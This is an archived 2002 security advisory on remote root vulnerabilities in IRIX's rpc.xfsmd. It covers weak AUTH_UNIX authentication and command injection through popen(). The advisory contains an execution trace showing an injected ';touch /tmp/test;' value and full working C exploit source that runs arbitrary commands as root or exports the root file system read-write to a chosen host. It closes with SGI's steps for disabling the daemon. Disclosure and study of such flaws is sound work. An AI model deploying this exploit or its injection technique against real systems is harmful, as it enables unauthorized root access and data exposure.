21th Jun 2002 [SBWID-5476]
COMMAND
rpc.xfsmd gives remote root access
SYSTEMS AFFECTED
IRIX operating system starting from version 6.2 to 6.5.16 (after full
OS installation).
PROBLEM
In Last Stage of Delirium Research Group [http://lsd-pl.net] advisory :
This daemon provides functionality related with xfs file systems and
disk volumes (xlv) management. Xfsmd handles requests for file system
creation, mounting and unmounting. Through xfsmd, file systems\'
parameters can be modified as well as the whole partitions can be
managed. Xfsmd is registered in IRIX operating system as RPC service
number 391016.
There are multiple vulnerabilities in the xfsmd service. Below you will
find the detailed descriptions for all of them.
1. Weak authentication
The first problem with xfsmd service is its weak RPC authentication
scheme that is based on AUTH_UNIX RPC type. Such an authentication
scheme can be easily bypassed what in result creates the possibility to
remotely call potentially dangerous RPC functions, the ones that would
allow to mount, unomunt, create, delete or modify xfs file systems on a
vulnerable host. The possibility to perform such actions in the Unix
system is obviously equivalent to gaining root user privileges.
In our proof of concept code for the rpc.xfsmd, weak RPC authentication
scheme is exploited by forcing xfsmd to export any file system with
read and write privileges for everyone. Specifically, a call to
xfsexport_1() RPC function is made in order to accomplish this goal.
Besides this function, there are several others that can be called
remotely by an attacker after bypassing AUTH_UNIX authentication
scheme. Below, we present some of them and provide brief description of
the action that can be performed upon their use.
xfscreate_1() - allows for the creation of new file systems
xfsedit_1() - allows for modification of a given file systems\' parameters
xfsexport_1() - allows to export a given file system
xfsmount_1() - allows to mount a given file system
xfsdelete_1() - allows to delete a given file system
2. popen() vulnerabilities
The other vulnerability that we have found in xfsmd service is the
result of bad coding practice and the way popen() function is called
throughout the xfsmd code. Xfsmd RPC functions use the popen() call for
invoking several external programs, that provide it with required, file
system related functionality. As an argument to the popen() function
call, a user provided argument is given without any checks for shell
metacharacter, such as \';\' or \'\'\'.
In our proof of concept code, the rpc.xfsmd popen() vulnerability is
illustrated in a case of RPC xfsexport_1() function call. When
xfsexport_1() is invoked, a function call to xfsExportInternal() is
made. In xfsExportInternal(), first some checks of user provided
parameters are done and if successfull, a call to xfs_export() is made.
In this latter call a structure filled with user provided arguments is
created and it contains the name of the file system to be exported and
options for exportfs command, executed via popen(). In xfs_export(), a
call to external program /usr/etc/exportfs is made through the use of
popen() function. As export options passed to the called exportfs
program come from the user provided arguments, there exist an easy way
to execute arbitrary commands on the vulnerable IRIX system. It is only
required that the option string for the exportfs command should be
constructed according to the \";command\" scheme. For example it could
be set to \";touch /tmp/test\" in order to execute \"touch /tmp/test\"
command.
Below you will find a trace of the xfsmd program execution done with
the use of our bptrace tool. It clearly illustrates the above
description of the popen() vulnerablity in xfsmd.
breakpoint trace [version 1.4]
copyright by LAST STAGE OF DELIRIUM 1998 Poland
found 624 symbols
624 breakpoints enabled, 0 disabled, 0 aliases
==> attaching process 325621 (/usr/etc/xfsmd)
[325621] 0x0fa397b4 1 memset(0x7fff26a0,0,128)
[325621] 0x0fa397ac 1 bzero(0x7fff288c,4)
[325621] 0x0fa397b4 2 memset(0x7fff288c,0,4)
[325621] 0x00421da0 1 xdr_nametype()
[325621] 0x0fb055e0 1 xdr_string()
[325621] 0x0fa2ea48 1 malloc(38)
---------------------
[325621] 0x0040ad40 1 xfsexport_1()
---------------------
[325621] 0x0040951c 1 xdr_free()
[325621] 0x00421e7c 1 xdr_xfs_result()
[325621] 0x00421da0 2 xdr_nametype()
[325621] 0x0fb055e0 2 xdr_string()
[325621] 0x0fa2f1d8 1 free(0x1001add8)
[325621] 0x0fb0516c 1 xdr_int()
Weak authenticate function
--------------------
[325621] 0x0040a6a4 1 authenticate()
--------------------
[325621] 0x0fa2f994 1 gethostname()
[325621] 0x0fa37008 1 strtok(\"symul\",\".\")
[325621] 0x0fa2e640 1 strcpy(0x7fff1610,\"symul\")
[325621] 0x0fa4b0d0 1 getdomainname()
[325621] 0x0fa2fe38 1 strcat(\"symul\",\".\")
[325621] 0x0fa2fe38 2 strcat(\"symul.\",\"\")
[325621] 0x0fa34330 1 strcmp(\"symul.\",\"symul.\")
-------------------
[325621] 0x0040f3bc 1 xfsExportInternal()
------------------
[325621] 0x0fa3972c 1 strdup(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")
[325621] 0x0fa2e590 2 strlen(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")
[325621] 0x0fa2ea48 2 malloc(38)
[325621] 0x0fa2e640 2 strcpy(0x1001add8,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")
[325621] 0x0fa37008 2 strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\")
[325621] 0x004193bc 1 xfsmGetKeyValue()
[325621] 0x0fa2e780 1 strchr(\"XFS_MNT_DIR:/tmp\",\':\')
[325621] 0x0fa34330 2 strcmp(\"/tmp\",\"false\")
[325621] 0x0fa34330 3 strcmp(\"/tmp\",\"FALSE\")
[325621] 0x0fa34330 4 strcmp(\"XFS_MNT_DIR\",\"XFS_FS_NAME\")
[325621] 0x0fa2ea48 3 malloc(38)
.....
[325621] 0x0fa2e640 3 strcpy(0x1001a828,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")
[325621] 0x0fa37008 5 strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\")
[325621] 0x004193bc 3 xfsmGetKeyValue()
[325621] 0x0fa2e780 3 strchr(\"XFS_MNT_DIR:/tmp\",\':\')
[325621] 0x0fa34330 11 strcmp(\"XFS_MNT_DIR\",\"rw,root\")
[325621] 0x0040ca98 1 create_option_str()
[325621] 0x0fa34330 12 strcmp(\"XFS_MNT_DIR\",\"rw\")
[325621] 0x0fa34330 13 strcmp(\"XFS_MNT_DIR\",\"root\")
.....
[325621] 0x0fa34498 1 realloc(0x100173c0,25)
[325621] 0x0fa2fe38 4 strcat(\"root=;touch /tmp/test;,\",\"rw,\")
[325621] 0x0fa2f9d4 1 strrchr(\"root=;touch /tmp/test;,rw,\",\',\')
[325621] 0x0fa397b4 3 memset(0x1001a8a7,0,1)
[325621] 0x0fa2f1d8 2 free(0x1001a828)
---------------------------
[325621] 0x00414904 1 xfs_export()
---------------------------
[325621] 0x0041a750 1 isvalidmntpt()
[325621] 0x0fa2e780 5 strchr(\"/tmp\",\' \')
[325621] 0x0fa4d628 3 strstr(\"/tmp\",\"/./\")
[325621] 0x0fa4d628 4 strstr(\"/tmp\",\"/../\")
[325621] 0x0fa31494 1 strncmp(\"/tmp\",\"/tmp/\",5)
[325621] 0x0fa2e1a0 1 stat(\"/tmp\",0x7ffef314)
[325621] 0x0041457c 1 export_fs()
[325621] 0x0fa3190c 2 sprintf(0x7ffef2a0,\"/usr/etc/exportfs -i -o %s %s 2>&1\",...)
[325621] 0x0fa2e590 8 strlen(\"root=;touch /tmp/test;,rw\")
[325621] 0x0fa2e590 9 strlen(\"/tmp\")
popen(\"/usr/etc/exportfs -i -o /tmp ;touch /tmp/test\")
---------------------------
[325621] 0x00416890 1 xfs_popen()
---------------------------
[325621] 0x0fa3ef74 1 pipe(2147406432)
[325621] 0x0fa3dd98 1 fork()
==> process 325621 forking to 325091
==> attaching process 325091 (/usr/etc/xfsmd)
[325091] 0x0fa2e290 1 close(4)
[325621] 0x0fa2e290 1 close(5)
[325091] 0x0fa2e290 2 close(1)
[325621] 0x0fa56c44 1 fdopen()
[325091] 0x004098f0 1 fcntl(5,F_DUPFD,0x00000001)
[325621] 0x0fa307fc 1 fgets()
[325091] 0x0fa2e290 3 close(2)
[325621] 0x0fa2ea48 5 malloc(4104)
[325091] 0x0fa2e290 4 close(5)
[325621] 0x0fa34b0c 1 _cerror()
[325091] 0x00409904 1 execl(\"/sbin/sh\",\"sh\",...)
==> process 325091 executing /sbin/sh
found 368 symbols
368 breakpoints enabled, 0 disabled, 0 aliases
==> process 325091 forking to 325665
==> attaching process 325665 (/sbin/sh)
==> process 325665 executing /usr/etc/exportfs
found 68 symbols
68 breakpoints enabled, 0 disabled, 0 aliases
[325665] 0x100045c8 1 __istart()
[325665] 0x0fa33780 1 __readenv_sigfpe()
[325665] 0x10001b2c 1 main()
[325665] 0x10003364 1 parseargs()
[325665] 0x10001dbc 1 printexports()
[325665] 0x0fa33bf4 1 fopen(\"/etc/xtab\",\"r\")
[325665] 0x0fa8cd4c 1 getexportent()
........
[325621] 0x0fa2e640 5 strcpy(0x100173c0,\"nothing exported\\n\")
[325621] 0x0fa307fc 2 fgets()
==> process 325665 terminated
==> process 325091 forking to 325653
==> attaching process 325653 (/sbin/sh)
==> process 325653 executing /bin/touch
found 24 symbols
24 breakpoints enabled, 0 disabled, 0 aliases
[325653] 0x0fa5cb88 1 close(4)
[325653] 0x100023e0 1 __istart()
[325653] 0x0fa33780 1 __readenv_sigfpe()
[325653] 0x10001ac8 1 main()
........
[325653] 0x0fa5cdbc 1 creat(\"/tmp/test\",438)
[325653] 0x0fa5cb88 2 close(4)
[325653] 0x0fa58954 2 stat64()
[325653] 0x0fa56a2c 1 utime()
[325653] 0x0fa363b8 1 exit(0)
==> process 325653 terminated
Below, several other RPC functions are listed which can be successfully
exploited to run arbitrary commands with root user privileges on a
remote IRIX system through the bad use of popen() function call in
xfsmd:
xfscreate_1() - new file system creation
xfsexport_1() - file system export
xfsunexport_1() - file system unexport
xfsmount_1() - file system mount
xfsunmount_1() - file system unmount
The proof of concept code illustrating the above mentioned IRIX Xfsmd
vulnerabilities can be found on our website at the following address:
http://lsd-pl.net/files/get?IRIX/irx_xfsmd
/*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/
/*## xfsmd #*/
/* this code forces xfsmd to execute any command on remote IRIX host or */
/* to export any file system from it with read/write privileges. */
/* the exploit requires that DNS is properly configured on an attacked */
/* host. additionally, if the file systems are to be exported from a */
/* vulnerable system, it must have NFS subsystem running. */
/* example usage: */
/* xfsmd address -c \"touch /etc/lsd\" */
/* (executes \"touch /etc/lsd\" command as root user on a vulnerable host) */
/* xfsmd address -e 10.0.0.1 -d \"/\" */
/* (exports / filesystem to the 10.0.0.1 host with rw privileges) */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#define XFS_PROG 391016
#define XFS_VERS 1
#define XFS_EXPORT 13
typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
if(!xdr_string(xdrs,objp,~0)) return(FALSE);
return(TRUE);
}
bool_t xdr_res(XDR *xdrs,res_t *objp){
if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char command[10000],*h,*cmd,*hst=NULL,*dir=\"/etc\";
int i,port=0,flag=0,c;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
res_t res;
printf(\"copyright LAST STAGE OF DELIRIUM Sep 1999 poland //lsd-pl.net/\\n\");
printf(\"rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\\n\\n\");
if(argc<3){
printf(\"usage: %s address -c \\\"command\\\" [-p port]\\n\",argv[0]);
printf(\" %s address -e address [-d dir] [-p port]\\n\",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],\"c:p:e:d:\"))!=-1){
switch(c){
case \'c\': flag=0;cmd=optarg;break;
case \'e\': flag=1;hst=optarg;break;
case \'d\': dir=optarg;break;
case \'p\': port=atoi(optarg);
}
}
req=command;
if(!flag){
printf(\"executing %s command... \",cmd);
sprintf(req,\"XFS_MNT_DIR:/tmp\\nroot:;%s;\",cmd);
}else{
printf(\"exporting %s directory to %s... \",dir,hst);
sprintf(req,\"XFS_FS_NAME:%s\\nroot:%s\\n\",dir,hst);
}
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror(\"error\");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}else{
if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
errno=EADDRNOTAVAIL;perror(\"error\");exit(-1);
}
}
if((h=(char*)strchr(hp->h_name,\'.\'))!=NULL) *(h+1)=0;
else strcat(hp->h_name,\".\");
i=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
clnt_pcreateerror(\"error\");exit(-1);
}
cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
if(stat!=RPC_SUCCESS) {clnt_perror(cl,\"error\");exit(-1);}
printf(\"%s\\n\",(!flag)?\"ok\":((!res.errno)?\"ok\":\"failed\"));
}
SOLUTION
SGI was informed about this issue and assigned this bug number 858714.
There is no effective workaround available for these problems. SGI
recommends either disabling or uninstalling the product.
To disable the product from running, perform the following steps:
# killall /usr/etc/xfsmd
# vi /etc/inetd.conf
Look for a line in inetd.conf that looks like this:
sgi_xfsmd/1 stream rpc/tcp wait root ?/usr/etc/xfsmd xfsmd
...and comment it out by putting a \"#\" at the beginning of the line:
#sgi_xfsmd/1 stream rpc/tcp wait root ?/usr/etc/xfsmd xfsmd
...or simply remove the line from the file.
# killall -HUP inetd
To remove the product from the system, perform the following command:
# versions remove eoe.sw.xfsmserv
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH